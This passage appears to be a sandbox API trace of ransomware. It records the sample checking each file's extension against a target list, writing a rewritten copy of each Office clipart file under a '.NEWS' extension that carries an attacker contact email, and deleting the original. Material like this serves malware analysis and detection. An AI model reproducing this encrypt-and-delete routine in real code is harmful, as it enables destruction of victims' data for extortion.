lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0187.945] SetEndOfFile (hFile=0x46c) returned 1 [0187.949] CloseHandle (hObject=0x46c) returned 1 [0187.949] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0188.446] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152602.wmf")) returned 1 [0188.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF") returned 68 [0188.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF") returned 68 [0188.514] lstrlenW (lpString=".doc") returned 4 [0188.514] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.514] lstrlenW (lpString=".docx") returned 5 [0188.514] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0188.514] lstrlenW (lpString=".pdf") returned 4 [0188.514] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.514] lstrlenW (lpString=".xls") returned 4 [0188.514] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.514] lstrlenW (lpString=".xlsx") returned 5 [0188.514] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0188.514] lstrlenW (lpString=".ppt") returned 4 [0188.514] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF") returned 68 [0188.514] lstrlenW (lpString=".zip") returned 4 [0188.514] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.514] lstrlenW (lpString=".rar") returned 4 [0188.515] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.515] lstrlenW (lpString=".bz2") returned 4 [0188.515] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.515] lstrlenW (lpString=".7z") returned 3 [0188.515] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF") returned 68 [0188.515] lstrlenW (lpString=".dbf") returned 4 [0188.515] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF") returned 68 [0188.515] lstrlenW (lpString=".1cd") returned 4 [0188.515] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF") returned 68 [0188.515] lstrlenW (lpString=".jpg") returned 4 [0188.515] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF") returned 68 [0188.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF") returned 68 [0188.515] lstrlenW (lpString=".doc") returned 4 [0188.515] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.515] lstrlenW (lpString=".docx") returned 5 [0188.515] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0188.515] lstrlenW (lpString=".pdf") returned 4 [0188.515] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.515] lstrlenW (lpString=".xls") returned 4 [0188.515] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.515] lstrlenW (lpString=".xlsx") returned 5 [0188.515] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0188.515] lstrlenW (lpString=".ppt") returned 4 [0188.515] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF") returned 68 [0188.516] lstrlenW (lpString=".zip") returned 4 [0188.516] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.516] lstrlenW (lpString=".rar") returned 4 [0188.516] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.516] lstrlenW (lpString=".bz2") returned 4 [0188.516] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.516] lstrlenW (lpString=".7z") returned 3 [0188.516] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF") returned 68 [0188.516] lstrlenW (lpString=".dbf") returned 4 [0188.516] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF") returned 68 [0188.516] lstrlenW (lpString=".1cd") returned 4 [0188.516] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF") returned 68 [0188.516] lstrlenW (lpString=".jpg") returned 4 [0188.516] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.516] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0188.516] lstrlenW (lpString="J0152628.WMF") returned 12 [0188.516] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152628.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0189.583] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=30812) returned 1 [0189.584] CloseHandle (hObject=0x2e8) returned 1 [0189.584] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152628.wmf")) returned 0x220 [0189.584] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152628.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0189.584] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152628.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0189.584] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0189.584] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0189.584] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152628.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f4 [0189.585] GetLastError () returned 0x0 [0189.585] ReadFile (in: hFile=0x2e8, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x785c, lpOverlapped=0x0) returned 1 [0189.588] WriteFile (in: hFile=0x4f4, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0x7860, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0x7860, lpOverlapped=0x0) returned 1 [0189.589] ReadFile (in: hFile=0x2e8, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0189.589] WriteFile (in: hFile=0x4f4, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0189.589] SetEndOfFile (hFile=0x4f4) returned 1 [0189.589] CloseHandle (hObject=0x4f4) returned 1 [0189.589] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0189.590] SetEndOfFile (hFile=0x2e8) returned 1 [0189.592] CloseHandle (hObject=0x2e8) returned 1 [0189.592] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0189.593] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152628.wmf")) returned 1 [0189.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF") returned 68 [0189.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF") returned 68 [0189.594] lstrlenW (lpString=".doc") returned 4 [0189.594] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.594] lstrlenW (lpString=".docx") returned 5 [0189.594] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0189.594] lstrlenW (lpString=".pdf") returned 4 [0189.594] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.594] lstrlenW (lpString=".xls") returned 4 [0189.594] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.594] lstrlenW (lpString=".xlsx") returned 5 [0189.594] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0189.594] lstrlenW (lpString=".ppt") returned 4 [0189.594] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF") returned 68 [0189.594] lstrlenW (lpString=".zip") returned 4 [0189.594] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.594] lstrlenW (lpString=".rar") returned 4 [0189.594] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.594] lstrlenW (lpString=".bz2") returned 4 [0189.594] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.594] lstrlenW (lpString=".7z") returned 3 [0189.594] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF") returned 68 [0189.594] lstrlenW (lpString=".dbf") returned 4 [0189.594] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF") returned 68 [0189.594] lstrlenW (lpString=".1cd") returned 4 [0189.594] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF") returned 68 [0189.594] lstrlenW (lpString=".jpg") returned 4 [0189.594] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF") returned 68 [0189.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF") returned 68 [0189.594] lstrlenW (lpString=".doc") returned 4 [0189.594] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.594] lstrlenW (lpString=".docx") returned 5 [0189.595] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0189.595] lstrlenW (lpString=".pdf") returned 4 [0189.595] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.595] lstrlenW (lpString=".xls") returned 4 [0189.595] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.595] lstrlenW (lpString=".xlsx") returned 5 [0189.595] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0189.595] lstrlenW (lpString=".ppt") returned 4 [0189.595] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF") returned 68 [0189.595] lstrlenW (lpString=".zip") returned 4 [0189.595] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.595] lstrlenW (lpString=".rar") returned 4 [0189.595] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.595] lstrlenW (lpString=".bz2") returned 4 [0189.595] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.595] lstrlenW (lpString=".7z") returned 3 [0189.595] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF") returned 68 [0189.595] lstrlenW (lpString=".dbf") returned 4 [0189.595] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF") returned 68 [0189.595] lstrlenW (lpString=".1cd") returned 4 [0189.595] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF") returned 68 [0189.595] lstrlenW (lpString=".jpg") returned 4 [0189.595] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.595] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0189.596] lstrlenW (lpString="J0152716.WMF") returned 12 [0189.596] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152716.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0189.608] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=4580) returned 1 [0189.608] CloseHandle (hObject=0x2e8) returned 1 [0189.608] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152716.wmf")) returned 0x220 [0189.608] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152716.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0189.609] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152716.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0189.609] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0189.609] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0189.609] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152716.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f4 [0189.610] GetLastError () returned 0x0 [0189.610] ReadFile (in: hFile=0x2e8, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x11e4, lpOverlapped=0x0) returned 1 [0189.612] WriteFile (in: hFile=0x4f4, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0x11f0, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0x11f0, lpOverlapped=0x0) returned 1 [0189.614] ReadFile (in: hFile=0x2e8, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0189.614] WriteFile (in: hFile=0x4f4, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0189.614] SetEndOfFile (hFile=0x4f4) returned 1 [0189.614] CloseHandle (hObject=0x4f4) returned 1 [0189.614] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0189.614] SetEndOfFile (hFile=0x2e8) returned 1 [0189.618] CloseHandle (hObject=0x2e8) returned 1 [0189.618] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0189.619] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152716.wmf")) returned 1 [0189.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF") returned 68 [0189.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF") returned 68 [0189.620] lstrlenW (lpString=".doc") returned 4 [0189.620] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.620] lstrlenW (lpString=".docx") returned 5 [0189.620] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0189.620] lstrlenW (lpString=".pdf") returned 4 [0189.620] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.620] lstrlenW (lpString=".xls") returned 4 [0189.620] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.620] lstrlenW (lpString=".xlsx") returned 5 [0189.620] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0189.620] lstrlenW (lpString=".ppt") returned 4 [0189.620] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF") returned 68 [0189.621] lstrlenW (lpString=".zip") returned 4 [0189.621] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.621] lstrlenW (lpString=".rar") returned 4 [0189.621] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.621] lstrlenW (lpString=".bz2") returned 4 [0189.621] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.621] lstrlenW (lpString=".7z") returned 3 [0189.621] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF") returned 68 [0189.621] lstrlenW (lpString=".dbf") returned 4 [0189.621] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF") returned 68 [0189.621] lstrlenW (lpString=".1cd") returned 4 [0189.621] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF") returned 68 [0189.621] lstrlenW (lpString=".jpg") returned 4 [0189.621] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF") returned 68 [0189.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF") returned 68 [0189.621] lstrlenW (lpString=".doc") returned 4 [0189.621] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.621] lstrlenW (lpString=".docx") returned 5 [0189.621] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0189.621] lstrlenW (lpString=".pdf") returned 4 [0189.621] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.622] lstrlenW (lpString=".xls") returned 4 [0189.622] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.622] lstrlenW (lpString=".xlsx") returned 5 [0189.622] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0189.622] lstrlenW (lpString=".ppt") returned 4 [0189.622] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF") returned 68 [0189.622] lstrlenW (lpString=".zip") returned 4 [0189.622] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.622] lstrlenW (lpString=".rar") returned 4 [0189.622] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.622] lstrlenW (lpString=".bz2") returned 4 [0189.622] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.622] lstrlenW (lpString=".7z") returned 3 [0189.622] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF") returned 68 [0189.622] lstrlenW (lpString=".dbf") returned 4 [0189.622] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF") returned 68 [0189.622] lstrlenW (lpString=".1cd") returned 4 [0189.622] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF") returned 68 [0189.622] lstrlenW (lpString=".jpg") returned 4 [0189.622] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.623] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0189.623] lstrlenW (lpString="J0152722.WMF") returned 12 [0189.623] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152722.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0189.624] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=7020) returned 1 [0189.624] CloseHandle (hObject=0x2e8) returned 1 [0189.624] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152722.wmf")) returned 0x220 [0189.625] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152722.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0189.625] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152722.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0189.625] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0189.625] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0189.625] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152722.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f4 [0189.626] GetLastError () returned 0x0 [0189.626] ReadFile (in: hFile=0x2e8, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x1b6c, lpOverlapped=0x0) returned 1 [0189.768] WriteFile (in: hFile=0x4f4, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0x1b70, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0x1b70, lpOverlapped=0x0) returned 1 [0189.770] ReadFile (in: hFile=0x2e8, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0189.770] WriteFile (in: hFile=0x4f4, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0189.770] SetEndOfFile (hFile=0x4f4) returned 1 [0189.770] CloseHandle (hObject=0x4f4) returned 1 [0189.770] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0189.770] SetEndOfFile (hFile=0x2e8) returned 1 [0189.774] CloseHandle (hObject=0x2e8) returned 1 [0189.774] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 